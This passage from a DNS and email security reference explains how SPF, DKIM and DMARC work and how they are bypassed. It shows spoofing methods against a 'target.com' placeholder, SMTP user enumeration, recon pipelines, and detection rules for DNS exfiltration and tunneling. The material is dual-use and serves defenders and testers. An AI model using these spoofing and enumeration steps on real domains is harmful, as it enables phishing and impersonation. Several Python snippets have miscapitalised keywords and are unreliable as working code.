Print(f'[NEW] {d} - A: {info.get(\"dns_a\",\"N/A\")} MX: {info.get(\"dns_mx\",\"N/A\")}')
"
Cp "$CURR" "$PREV"
```
---
## 10. SPF Configuration & Bypass

### SPF (Sender Policy Framework) — RFC 7208

SPF specifies which mail servers are authorized to send email for a domain via DNS TXT records.

### SPF Record Syntax

```
v=spf1 [mechanisms] [modifiers]
```

**Mechanisms:**

| Mechanism | Description | Example |
|-----------|-------------|---------|
| `ip4:` | IPv4 address/range | `ip4:192.168.1.0/24` |
| `ip6:` | IPv6 address/range | `ip6:2001:db8::/32` |
| `a` | Domain's A record | `a:mail.example.com` |
| `mx` | Domain's MX records | `mx` |
| `include:` | Include another domain's SPF | `include:_spf.google.com` |
| `exists:` | Check if A record exists | `exists:%{i}.spf.example.com` |
| `redirect=` | Use another domain's SPF as-is | `redirect=_spf.example.com` |
| `all` | Match everything (catch-all) | `-all` (hard fail) |

**Qualifiers:**

| Qualifier | Meaning | Result |
|-----------|---------|--------|
| `+` (default) | Pass | Accept |
| `-` | Hard fail | Reject |
| `~` | Soft fail | Accept but mark |
| `?` | Neutral | No policy |

### SPF Configuration Examples

```
# Strict: Only Google Workspace sends mail
v=spf1 include:_spf.google.com -all

# Microsoft 365
v=spf1 include:spf.protection.outlook.com -all

# Multiple providers
v=spf1 include:_spf.google.com include:spf.protection.outlook.com ip4:203.0.113.0/24 -all

# Domain that should never send email
v=spf1 -all

# DANGEROUS: Overly permissive
v=spf1 +all                    # Anyone can send as this domain
v=spf1 include:example.com ~all # Soft fail = most receivers accept anyway
```

### SPF Bypass Techniques

**1. DNS Lookup Limit (10 maximum):**
SPF allows max 10 DNS lookups (include, a, mx, redirect, exists). Exceeding this causes `permerror` — some receivers then ignore SPF entirely.
```bash
# Check SPF lookup count
dig target.com TXT | grep spf
# Recursively count includes — each include = 1+ lookups
# If >10: SPF is effectively broken
```

**2. Soft Fail (~all) Exploitation:**
Many domains use `~all` instead of `-all`. Soft fail is treated as "suspicious but accept" by most receivers.
```bash
# Check for soft fail
dig target.com TXT | grep 'v=spf1' | grep '~all'
# If ~all: spoofed emails will likely be delivered (flagged but not rejected)
```

**3. Subdomain Spoofing:**
SPF only protects the exact domain in the record. Subdomains without their own SPF inherit nothing.
```bash
# target.com has strict SPF, but:
dig sub.target.com TXT  # No SPF record = no protection
# Spoof from: admin@sub.target.com — bypasses target.com SPF
```

**4. SPF Record Fragmentation:**
Include chains that cross organizational boundaries may have gaps.

**5. Return-Path vs From Header:**
SPF validates the envelope sender (Return-Path/MAIL FROM), not the display From header. Attacker sets:
- Return-Path: attacker@attacker.com (passes attacker's SPF)
- From: ceo@target.com (user sees this — spoofed)

This is why DMARC alignment is critical.

### SPF Verification

```bash
# Check SPF record
dig target.com TXT | grep spf

# Validate SPF syntax
# Use online tools: mxtoolbox.com/spf.aspx, dmarcian.com/spf-survey

# Test SPF from command line
python3 -c "
import spf
result = spf.check2(i='203.0.113.1', s='user@target.com', h='mail.target.com')
print(result)  # ('pass', 250, 'sender SPF authorized')
"

# Count DNS lookups recursively
dig +short target.com TXT | grep spf
# Then check each include recursively
```
---
## 11. DKIM Implementation & Bypass

### DKIM (DomainKeys Identified Mail) — RFC 6376

DKIM adds a cryptographic signature to email headers, allowing receivers to verify the message wasn't tampered with in transit.

### How DKIM Works

1. Sending server generates RSA/Ed25519 signature over specified headers + body
2. Signature added as `DKIM-Signature` header
3. Public key published in DNS as TXT record at `selector._domainkey.domain.com`
4. Receiving server retrieves public key, verifies signature

### DKIM DNS Record

```
# DNS TXT record: selector._domainkey.example.com
v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...

# With specific options
v=DKIM1; k=rsa; t=s; p=<public_key>
# t=s  — strict mode: signing domain must exactly match From domain
# t=y  — testing mode (don't enforce)
```

**Key parameters:**
- `v=DKIM1` — version
- `k=rsa` or `k=ed25519` — key type
- `p=` — base64-encoded public key
- `t=s` — strict subdomain alignment
- `t=y` — testing mode
- `s=email` — service type restriction
- `h=sha256` — hash algorithm

### DKIM Signature Header

```
DKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=selector1;
C=relaxed/relaxed; q=dns/txt; t=1609459200;
H=from:to:subject:date:message-id;
Bh=base64_body_hash;
B=base64_signature
```

- `a=` — signing algorithm (rsa-sha256 recommended, Ed25519 emerging)
- `c=` — canonicalization (relaxed/relaxed most common)
- `d=` — signing domain
- `s=` — selector
- `h=` — signed headers
- `bh=` — body hash
- `b=` — signature

### DKIM Bypass Techniques

**1. Missing DKIM:**
Many domains simply don't implement DKIM. No signature = no verification.
```bash
# Check for DKIM (need to know/guess selector)
dig selector1._domainkey.target.com TXT
dig google._domainkey.target.com TXT
dig default._domainkey.target.com TXT
dig k1._domainkey.target.com TXT
```

**2. Key Length Weakness:**
RSA keys < 1024 bits can be factored. Some legacy deployments use 512-bit keys.
```bash
# Extract and check key length
dig selector._domainkey.target.com TXT | grep "p=" | \
Openssl rsa -pubin -text -noout 2>/dev/null | head -1
```

**3. Testing Mode (`t=y`):**
DKIM in testing mode signals receivers not to treat failures as definitive.

**4. Header Injection / Replay:**
If `h=` doesn't include critical headers, attacker may add unsigned headers that override signed ones. DKIM replay: take a legitimately signed email, modify unsigned portions, re-send.

**5. Body Length Limit (`l=` tag):**
If `l=` is set, only the first N bytes of body are signed. Attacker appends malicious content after signed portion.

**6. Subdomain Alignment:**
DKIM `d=` domain may not align with the `From:` header domain — this is where DMARC alignment catches gaps.

### DKIM Verification

```bash
# Check DKIM record exists
dig selector._domainkey.example.com TXT

# Verify DKIM signature on received email
opendkim-testkey -d example.com -s selector -vvv

# Python verification
python3 -c "
import dkim
with open('email.eml', 'rb') as f:
Msg = f.read()
result = dkim.verify(msg)
print(f'DKIM valid: {result}')
"
```
---
## 12. DMARC Configuration & Bypass

### DMARC (Domain-based Message Authentication, Reporting and Conformance) — RFC 7489

DMARC ties SPF and DKIM together, requiring **alignment** between the authentication domain and the visible `From:` header domain. It also provides reporting.

### How DMARC Works

A message passes DMARC if:
1. **SPF passes AND** the envelope sender domain aligns with the `From:` header domain, **OR**
2. **DKIM passes AND** the DKIM `d=` domain aligns with the `From:` header domain

Alignment can be:
- **Strict (`aspf=s` / `adkim=s`)**: Exact domain match required
- **Relaxed (`aspf=r` / `adkim=r`)**: Organizational domain match (subdomains OK)

### DMARC DNS Record

```
# DNS TXT record at _dmarc.example.com
v=DMARC1; p=reject; rua=mailto:dmarc-reports@example.com; ruf=mailto:dmarc-forensic@example.com; adkim=s; aspf=s; pct=100; fo=1

# Tags explained:
# v=DMARC1        — version (required)
# p=reject        — policy: none | quarantine | reject (required)
# sp=reject       — subdomain policy (defaults to p= if absent)
# rua=mailto:     — aggregate report destination
# ruf=mailto:     — forensic/failure report destination
# adkim=s         — DKIM alignment: s=strict, r=relaxed
# aspf=s          — SPF alignment: s=strict, r=relaxed
# pct=100         — percentage of messages to apply policy (0-100)
# fo=1            — failure reporting: 0=all fail, 1=any fail, d=DKIM fail, s=SPF fail
# ri=86400        — aggregate report interval in seconds
```

### DMARC Policy Progression (Deployment Path)

```
# Phase 1: Monitor only (no enforcement)
v=DMARC1; p=none; rua=mailto:dmarc@example.com; fo=1

# Phase 2: Quarantine 10% (gradual rollout)
v=DMARC1; p=quarantine; pct=10; rua=mailto:dmarc@example.com; ruf=mailto:forensic@example.com

# Phase 3: Quarantine 100%
v=DMARC1; p=quarantine; pct=100; rua=mailto:dmarc@example.com

# Phase 4: Full reject
v=DMARC1; p=reject; sp=reject; adkim=s; aspf=s; rua=mailto:dmarc@example.com; ruf=mailto:forensic@example.com; fo=1
```

### DMARC Bypass Techniques

**1. p=none Policy:**
Many domains deploy DMARC in monitor-only mode and never progress to enforcement.
```bash
dig _dmarc.target.com TXT
# v=DMARC1; p=none — no enforcement, spoofing works
```

**2. Missing Subdomain Policy:**
If `sp=` is absent, subdomain policy defaults to `p=`. But if `p=none`:
```bash
# target.com has p=reject but no sp= tag
# Subdomains may inherit reject, but:
# If subdomain has no SPF/DKIM, alignment fails differently
# Test: spoof from sub.target.com
```

**3. Relaxed Alignment Exploitation:**
```
# With adkim=r (relaxed):
# DKIM d=sub.target.com aligns with From: user@target.com
# Attacker signs with their subdomain of target.com (if they control one)
```

**4. pct= Less Than 100:**
```bash
# v=DMARC1; p=reject; pct=25
# 75% of failing messages are NOT rejected — just treated as p=none
# Send enough spoofed emails, most get through
```

**5. From Header Display Name Spoofing:**
DMARC protects the `From:` header domain, not the display name:
```
From: "CEO Name <ceo@target.com>" <attacker@attacker.com>
# Display shows: CEO Name <ceo@target.com>
# Actual from: attacker@attacker.com (passes attacker's DMARC)
# Many email clients show only display name
```

**6. Cousin Domain / Lookalike:**
DMARC can't protect against `target-security.com` or `tarqet.com` — that's where dnstwist monitoring comes in.

### DMARC Verification

```bash
# Check DMARC record
dig _dmarc.target.com TXT

# Comprehensive email authentication check
# Send test email and check headers for:
# Authentication-Results: dmarc=pass (p=reject dis=none)
# Authentication-Results: spf=pass
# Authentication-Results: dkim=pass

# Parse DMARC aggregate reports (XML in zip)
# Tools: parsedmarc, dmarc-visualizer, Postmark DMARC tool
```

### Non-Sending Domain Protection

Domains that should never send email still need protection:

```
# SPF: deny all
v=spf1 -all

# DKIM: empty key (explicitly no signing)
*._domainkey.example.com TXT "v=DKIM1; p="

# DMARC: reject everything
_dmarc.example.com TXT "v=DMARC1; p=reject; sp=reject; rua=mailto:dmarc@example.com"

# Null MX (RFC 7505) — domain accepts no mail
example.com MX 0 .
```
---
## 13. Email Header Analysis

### Critical Headers for Security Analysis

```
Return-Path: <actual-sender@origin.com>           # Envelope sender (SPF checks this)
Received: from mail.origin.com (203.0.113.5)       # Each hop adds one (read bottom-up)
By mx.receiver.com with ESMTPS id xyz;
    Wed, 14 Mar 2026 10:30:00 -0000
From: "Display Name" <visible@target.com>          # What user sees (DMARC checks this)
Reply-To: phisher@evil.com                         # Where replies go (often different in phishing)
Message-ID: <unique-id@origin.com>                 # Should match sending domain
X-Mailer: Microsoft Outlook 16.0                   # Client identification
X-Originating-IP: [10.0.0.50]                      # Internal IP of sender (Exchange)
Authentication-Results: mx.receiver.com;
Spf=pass (sender SPF authorized) smtp.mailfrom=origin.com;
Dkim=pass header.d=origin.com header.s=selector1;
Dmarc=pass (p=REJECT sp=REJECT) header.from=origin.com
ARC-Authentication-Results: i=1; mx.receiver.com;  # ARC for forwarding chains
Spf=pass; dkim=pass; dmarc=pass
```

### Header Analysis — Red Flags

| Indicator | Normal | Suspicious |
|-----------|--------|-----------|
| Received chain | Consistent, matches expected MTA path | Missing hops, unusual geolocations, forged server names |
| Return-Path vs From | Same domain | Different domains (SPF/DMARC mismatch) |
| Message-ID domain | Matches From domain | Random domain, no domain, or attacker domain |
| X-Originating-IP | Internal corporate IP | External IP, VPN exit, cloud provider |
| Reply-To | Absent or same as From | Different domain, free email provider |
| Date | Recent, consistent timezone | Future date, wildly different timezone |
| Content-Type boundary | Random string | Known malware generator signatures |
| X-Mailer | Known client | Bulk mailer, custom tool, Python scripts |

### Forensic Header Analysis Commands

```bash
# Extract and analyze headers
# Parse Received headers (bottom-up = chronological order)
grep -i "^Received:" email.eml | tac

# Check authentication results
grep -i "Authentication-Results" email.eml

# Extract originating IP
grep -i "X-Originating-IP\|Received:.*\[" email.eml

# Decode MIME encoded headers
python3 -c "
from email.header import decode_header
header = '=?UTF-8?B?base64encoded?='
decoded = decode_header(header)
print(decoded)
"

# Full header analysis with Python
python3 -c "
import email
from email import policy
With open('email.eml') as f:
Msg = email.message_from_file(f, policy=policy.default)
Print('From:', msg['From'])
print('Return-Path:', msg['Return-Path'])
print('Reply-To:', msg['Reply-To'])
print('Message-ID:', msg['Message-ID'])
print()
for key in ['Authentication-Results', 'ARC-Authentication-Results',
            'X-Originating-IP', 'X-Mailer']:
If msg[key]:
Print(f'{key}: {msg[key]}')
print()
print('--- Received chain (chronological) ---')
for r in reversed(msg.get_all('Received', [])):
Print(r.strip())
"
```

### ARC (Authenticated Received Chain) — RFC 8617

ARC preserves authentication results across forwarding hops (mailing lists, forwarding services) that would otherwise break SPF/DKIM:

```
ARC-Seal: i=1; a=rsa-sha256; d=forwarder.com; s=arc; cv=none; b=...
ARC-Message-Signature: i=1; a=rsa-sha256; d=forwarder.com; s=arc;
H=from:to:subject:date; bh=...; b=...
ARC-Authentication-Results: i=1; forwarder.com;
Dkim=pass header.d=original.com; spf=pass; dmarc=pass
```
---
## 14. Email Infrastructure Testing

### MailHog — Development Email Testing

MailHog provides a safe SMTP sink for testing email workflows without delivering to real recipients.

**Architecture:**
- ESMTP server (RFC 5321 compliant) on port 1025
- Web UI on port 8025 for message inspection
- JSON API (v1/v2) for programmatic access
- Storage: in-memory (default), MongoDB, or file-based

**Security Testing Use Cases:**
```bash
# Start MailHog
mailhog

# Configure application to use MailHog SMTP
# SMTP_HOST=localhost, SMTP_PORT=1025

# Send test email via CLI
swaks --to test@example.com --from sender@example.com \
    --server localhost:1025 --body "Test message"

# API access
curl http://localhost:8025/api/v2/messages  # List all messages
curl http://localhost:8025/api/v1/messages   # Alternative API
```

**Jim (Chaos Monkey):** Built-in failure simulation for testing email resilience — random connection drops, delays, and rejections.

### SMTP Security Testing

```bash
# Test STARTTLS support
openssl s_client -starttls smtp -connect mail.target.com:25

# Check for open relay
swaks --to external@gmail.com --from test@target.com \
    --server mail.target.com --port 25

# Test SMTP AUTH methods
swaks --to test@target.com --server mail.target.com \
    --auth-user test --auth-password test --auth PLAIN

# SMTP VRFY/EXPN user enumeration
telnet mail.target.com 25
VRFY admin
EXPN all-staff

# Check TLS certificate
echo | openssl s_client -starttls smtp -connect mail.target.com:25 2>/dev/null | \
Openssl x509 -noout -subject -issuer -dates

# Test MTA-STS
curl https://mta-sts.target.com/.well-known/mta-sts.txt
```

### MTA-STS (RFC 8461) — SMTP TLS Enforcement

```
# DNS record: _mta-sts.example.com TXT "v=STSv1; id=20260314"

# Policy file at https://mta-sts.example.com/.well-known/mta-sts.txt
version: STSv1
mode: enforce          # none | testing | enforce
mx: mail.example.com
mx: *.example.com
max_age: 604800        # 7 days in seconds
```

### SMTP TLS Reporting (TLSRPT — RFC 8460)

```
# DNS record
_smtp._tls.example.com TXT "v=TLSRPTv1; rua=mailto:tlsrpt@example.com"
```

### BIMI (Brand Indicators for Message Identification)

```
# DNS record (requires DMARC p=quarantine or p=reject)
default._bimi.example.com TXT "v=BIMI1; l=https://example.com/logo.svg; a=https://example.com/vmc.pem"
```
---
## 15. Domain Reputation Management

### Reputation Factors

| Factor | Impact | Monitoring |
|--------|--------|-----------|
| SPF/DKIM/DMARC | Authentication failures damage reputation | DMARC aggregate reports |
| Bounce rate | High bounces signal spam | Monitor NDRs |
| Complaint rate | User spam reports | Feedback loops (FBLs) |
| Blacklist presence | Immediate delivery failure | Regular DNSBL checks |
| Sending volume | Sudden spikes trigger throttling | Gradual IP warmup |
| Content quality | Spam-like content triggers filters | Content scanning |
| Domain age | New domains have neutral/low reputation | Establish history gradually |
| Shared IP reputation | Neighbors on shared IP affect you | Dedicated IPs for production mail |

### DNSBL (DNS-Based Blacklists) Monitoring

```bash
# Check if IP is blacklisted (reverse IP octets + DNSBL zone)
# For IP 203.0.113.5:
dig 5.113.0.203.zen.spamhaus.org A
dig 5.113.0.203.bl.spamcop.net A
dig 5.113.0.203.dnsbl.sorbs.net A
dig 5.113.0.203.b.barracudacentral.org A

# Batch check script
#!/bin/bash
IP="203.0.113.5"
REV=$(echo $IP | awk -F. '{print $4"."$3"."$2"."$1}')
DNSBLS=(
    "zen.spamhaus.org"
    "bl.spamcop.net"
    "dnsbl.sorbs.net"
    "b.barracudacentral.org"
    "dnsbl-1.uceprotect.net"
    "psbl.surriel.com"
    "db.wpbl.info"
    "all.s5h.net"
)
for dnsbl in "${DNSBLS[@]}"; do
Result=$(dig +short "${REV}.${dnsbl}" A 2>/dev/null)
If [ -n "$result" ]; then
Echo "[LISTED] $IP is on $dnsbl ($result)"
Else
Echo "[CLEAN]  $IP not on $dnsbl"
Fi
done

# Check domain reputation
dig target.com.dbl.spamhaus.org A  # Domain-based blacklist
```

### IP Warmup Strategy

New IPs or domains have no sending history — start low and ramp up:

```
Week 1: 50 emails/day
Week 2: 100 emails/day
Week 3: 500 emails/day
Week 4: 1,000 emails/day
Week 5: 5,000 emails/day
Week 6: 10,000 emails/day
Week 7: 25,000 emails/day
Week 8: Full volume
```

Monitor bounce rate (<2%), complaint rate (<0.1%), and blacklist status throughout.

### Complete Email Authentication Stack

```
# 1. SPF — authorize sending servers
example.com TXT "v=spf1 include:_spf.google.com ip4:203.0.113.0/24 -all"

# 2. DKIM — sign messages (2048-bit RSA minimum)
selector1._domainkey.example.com TXT "v=DKIM1; k=rsa; p=<2048-bit-public-key>"

# 3. DMARC — enforce alignment + reporting
_dmarc.example.com TXT "v=DMARC1; p=reject; sp=reject; adkim=s; aspf=s; rua=mailto:dmarc-agg@example.com; ruf=mailto:dmarc-fail@example.com; fo=1; pct=100"

# 4. MTA-STS — enforce TLS
_mta-sts.example.com TXT "v=STSv1; id=20260314"
# + policy file at https://mta-sts.example.com/.well-known/mta-sts.txt

# 5. TLSRPT — TLS failure reporting
_smtp._tls.example.com TXT "v=TLSRPTv1; rua=mailto:tls-reports@example.com"

# 6. CAA — restrict certificate issuance
example.com CAA 0 issue "letsencrypt.org"
example.com CAA 0 iodef "mailto:security@example.com"

# 7. BIMI — brand indicator (requires VMC)
default._bimi.example.com TXT "v=BIMI1; l=https://example.com/logo.svg"

# 8. Null MX for non-mail subdomains
cdn.example.com MX 0 .
static.example.com MX 0 .
```
---
## 16. Visual Reconnaissance & Screenshot Tools

### Gowitness

Website screenshot utility using Chrome Headless:
```bash
# Single URL screenshot
gowitness scan single --url "https://target.com" --write-db

# From URL list
gowitness scan file -f urls.txt --write-db

# From Nmap XML output
gowitness scan nmap -f scan.xml --write-db

# From CIDR range
gowitness scan cidr --cidr 10.0.0.0/24 --write-db

# View report
gowitness report serve
# Access at http://localhost:7171
```

Captures screenshots, response headers, cookies, console logs, and request logs. Stores in SQLite with a web-based report viewer and API.

### Aquatone

Visual inspection pipeline:
```bash
# Pipe from subdomain enumeration
cat subdomains.txt | aquatone -out report/

# Custom ports
cat subs.txt | aquatone -ports 80,443,8080,8443 -out report/

# With threading
cat subs.txt | aquatone -threads 10 -out report/

# Custom screenshot resolution
cat subs.txt | aquatone -resolution "1920,1080" -out report/
```

Generates HTML report with screenshots clustered by visual similarity — quickly identifies default pages, login portals, and interesting applications across large target sets.

### Integration in Recon Pipelines

```bash
# Full pipeline: enum -> resolve -> probe -> screenshot
amass enum -passive -d target.com | \
Puredns resolve -q -r resolvers.txt | \
Httpx -silent | \
Aquatone -out target_report/
```
---
## 17. YARA-Based Threat Intelligence

### mquery — Fast YARA Searching at Scale

**Architecture:**
- Frontend: Web GUI for submitting YARA rules and viewing results
- Backend: UrsaDB — n-gram indexed file database for pre-filtering
- Workers: Multiple daemon processes for parallel YARA execution

**Indexing:**
```bash
# Index a malware sample directory with multiple n-gram types
index "/mnt/samples" with [gram3, text4, wide8, hash4];
```

N-gram types:
- `gram3`: 3-byte trigrams (general purpose)
- `text4`: 4-byte text patterns (ASCII strings)
- `wide8`: 8-byte wide character patterns (UTF-16)
- `hash4`: 4-byte hash patterns (binary data)

**Deployment:**
```bash
# Docker Compose deployment
# Configure .env with sample/index directories
docker-compose up -d --scale daemon=3  # 3 parallel workers
```

**Use Cases for DNS/Email Security:**
- Search malware repos for samples communicating with specific DNS infrastructure
- Identify phishing kit variants by email template patterns
- Correlate IOCs across malware families using DNS C2 patterns
- Track domain generation algorithm (DGA) implementations
---
## 18. Detection Engineering for DNS/Email Threats

### Sigma Rules — DNS Threats

```yaml
title: DNS Query to Known DGA Domain Pattern
id: 4a5b6c7d-8e9f-0a1b-2c3d-4e5f6a7b8c9d
status: experimental
description: Detects DNS queries matching common DGA patterns with high consonant ratios
logsource:
Category: dns_query
Product: network
detection:
Selection:
Query|re: '^[bcdfghjklmnpqrstvwxyz]{4,}\.'
Filter:
Query|endswith:
            - '.cdn.cloudflare.com'
            - '.akamaiedge.net'
Condition: selection and not filter
falsepositives:
    - Legitimate domains with unusual naming (rare)
level: medium
tags:
    - attack.t1568.002
    - attack.command_and_control
---
title: DNS Query for Cryptocurrency Mining Pool
id: 5c6d7e8f-9a0b-1c2d-3e4f-5a6b7c8d9e0f
status: experimental
description: Detects DNS queries to known cryptocurrency mining pool domains
logsource:
Category: dns_query
Product: network
detection:
Selection:
Query|contains:
            - 'pool.minergate'
            - 'mining.pool'
            - 'xmrpool'
            - 'moneropool'
            - 'cryptonight'
            - 'coinhive.com'
            - 'coin-hive.com'
            - 'hashvault.pro'
Condition: selection
falsepositives:
    - Authorized cryptocurrency research
level: high
tags:
    - attack.t1496
    - attack.impact
---
title: Potential DNS Rebinding Attack
id: 6d7e8f0a-1b2c-3d4e-5f6a-7b8c9d0e1f2a
status: experimental
description: Detects DNS responses alternating between public and private IP addresses for same domain
logsource:
Category: dns_query
Product: network
detection:
Selection_private:
Answer|re: '^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)'
Filter_internal:
Query|endswith:
            - '.internal'
            - '.local'
            - '.corp'
Condition: selection_private and not filter_internal
falsepositives:
    - Split-horizon DNS configurations
    - VPN split-tunnel DNS
level: medium
tags:
    - attack.t1557
    - attack.credential_access
```

### Sigma Rules — Email Threats

```yaml
title: Email with SPF Hard Fail Delivered
id: 7e8f0a1b-2c3d-4e5f-6a7b-8c9d0e1f2a3b
status: experimental
description: Detects delivered emails where SPF authentication returned hard fail indicating potential spoofing
logsource:
Category: email
Product: exchange
detection:
Selection:
Spf_result: 'fail'
Action: 'delivered'
Condition: selection
falsepositives:
    - Legitimate forwarded emails breaking SPF
    - Misconfigured third-party senders
level: high
tags:
    - attack.t1566.001
    - attack.initial_access
---
title: DMARC Policy Override on High-Value Domain
id: 8f0a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects emails where DMARC policy was overridden despite alignment failure
logsource:
Category: email
Product: exchange
detection:
Selection:
Dmarc_result: 'fail'
Dmarc_action: 'none'
Filter:
Sender_domain|endswith:
            - '.gov'
            - '.mil'
            - '.edu'
Condition: selection
falsepositives:
    - DMARC policies set to p=none during initial deployment
level: medium
tags:
    - attack.t1566.001
    - attack.initial_access
```

### KQL Queries — Microsoft Sentinel

```kql
// DNS tunneling detection - high query volume to single domain
DnsEvents
| where TimeGenerated > ago(1h)
| extend BaseDomain = tostring(split(Name, ".")[-2]) + "." + tostring(split(Name, ".")[-1])
| summarize QueryCount=count(), UniqueSubdomains=dcount(Name),
    AvgQueryLength=avg(strlen(Name)) by BaseDomain, ClientIP
| where QueryCount > 500 and UniqueSubdomains > 100 and AvgQueryLength > 40
| sort by QueryCount desc

// Subdomain takeover indicator - CNAME to NXDOMAIN
DnsEvents
| where QueryType == "CNAME" and ResultCode == "NXDOMAIN"
| summarize Count=count() by Name, TimeGenerated=bin(TimeGenerated, 1h)
| where Count > 5

// Email authentication failure surge
EmailEvents
| where TimeGenerated > ago(24h)
| where AuthenticationDetails contains "spf=fail" or AuthenticationDetails contains "dkim=fail"
| summarize FailCount=count() by SenderFromDomain, bin(TimeGenerated, 1h)
| where FailCount > 50
```

### Splunk Queries

```spl
// DNS exfiltration via encoded subdomains
index=dns sourcetype=dns
| eval subdomain=mvindex(split(query, "."), 0)
| eval sub_len=len(subdomain)
| eval sub_entropy=log(sub_len)/log(2)
| where sub_len > 30
| stats count avg(sub_len) as avg_len dc(query) as unique_queries by src_ip dest_domain
| where unique_queries > 100 AND avg_len > 40

// Newly registered domain queries (NRD detection)
index=dns sourcetype=dns
| lookup domain_age_lookup domain AS query OUTPUT first_seen
| eval domain_age_days=(now()-first_seen)/86400
| where domain_age_days < 30
| stats count by query src_ip domain_age_days
| sort -count
```
---
## 19. Toolchain Reference

### Reconnaissance & Enumeration

| Tool | Purpose | Key Strength |
|------|---------|-------------|
| **amass** | Attack surface mapping | 50+ data sources, graph database, ASN mapping |
| **massdns** | High-speed DNS resolution | 350K+ queries/sec, async I/O, raw socket support |
| **puredns** | Wildcard-aware resolution | Multi-phase wildcard detection, massdns integration |
| **dnsrecon** | DNS enumeration suite | Zone transfers, SRV enum, cache snooping, brute force |
| **fierce** | DNS reconnaissance | Zone transfers, nearby IP scanning, /24 traversal |
| **alterx** | Pattern-based permutation | DSL syntax, enrichment mode, nuclei-style templates |
| **altdns** | Classic subdomain permutation | Wordlist-based mutation, built-in resolution |
| **subfinder** | Passive subdomain discovery | Fast, passive-only, many sources |

### Visual & Analysis

| Tool | Purpose | Key Strength |
|------|---------|-------------|
| **gowitness** | Website screenshots | Chrome Headless, Nmap/Nessus input, SQLite + web report |
| **aquatone** | Visual domain discovery | Similarity clustering, HTML report, pipeline integration |
| **dnstwist** | Domain permutation/phishing | 14+ fuzzing algorithms, SSDEEP, phishing detection |
| **mquery** | YARA malware search | UrsaDB n-gram indexing, web GUI, horizontal scaling |

### Tunneling & C2

| Tool | Purpose | Key Strength |
|------|---------|-------------|
| **dnscat2** | DNS tunneling C2 | Encrypted sessions, multi-record type, session management |
| **iodine** | IP-over-DNS | Full IP tunnel, tun interface, high throughput |
| **dns2tcp** | DNS tunneling | Service multiplexing, lightweight |

### Email Testing

| Tool | Purpose | Key Strength |
|------|---------|-------------|
| **MailHog** | SMTP testing | Web UI, API, Jim chaos monkey, RFC 5321 compliant |
| **swaks** | SMTP test tool | Auth testing, TLS verification, header injection |
| **parsedmarc** | DMARC report parsing | Aggregate + forensic report analysis |
---
## ATT&CK Mapping — DNS/Email Techniques

| TTP ID | Technique | Relevance |
|--------|-----------|-----------|
| T1071.004 | Application Layer Protocol: DNS | DNS tunneling, C2 over DNS |
| T1572 | Protocol Tunneling | dnscat2, iodine, dns2tcp |
| T1048.003 | Exfiltration Over Alternative Protocol: Unencrypted | DNS exfiltration |
| T1568.002 | Dynamic Resolution: Domain Generation Algorithms | DGA detection |
| T1568.001 | Dynamic Resolution: Fast Flux DNS | Rapidly changing A records |
| T1583.001 | Acquire Infrastructure: Domains | Lookalike domains, typosquatting |
| T1584.002 | Compromise Infrastructure: DNS Server | DNS hijacking |
| T1590.002 | Gather Victim Network Information: DNS | Zone transfers, enumeration |
| T1598 | Phishing for Information | Spoofed email, credential harvesting |
| T1566.001 | Phishing: Spearphishing Attachment | Email-based initial access |
| T1566.002 | Phishing: Spearphishing Link | Email-based initial access |
| T1557 | Adversary-in-the-Middle | DNS rebinding, cache poisoning |
| T1496 | Resource Hijacking | Cryptomining via DNS-discovered infrastructure |
| T1190 | Exploit Public-Facing Application | Subdomain takeover |
---
## Key Takeaways

1. **DNS is both the richest recon source and the most abused protocol** — every organization must treat DNS monitoring as a Tier 1 detection priority
2. **Email authentication is a three-legged stool** — SPF, DKIM, and DMARC must all be at enforcement level with strict alignment to be effective
3. **Subdomain takeover is a persistent organizational risk** — requires continuous monitoring, not one-time audits
4. **DNS tunneling detection requires entropy analysis** — signature-based detection alone misses encrypted tunnels
5. **Certificate transparency is a double-edged sword** — enables both attacker reconnaissance and defender monitoring
6. **Domain reputation is fragile** — one misconfiguration (open relay, missing SPF, soft fail DMARC) can land your entire domain on blacklists
7. **Non-sending domains need protection too** — null MX, `-all` SPF, and `p=reject` DMARC on every domain you own
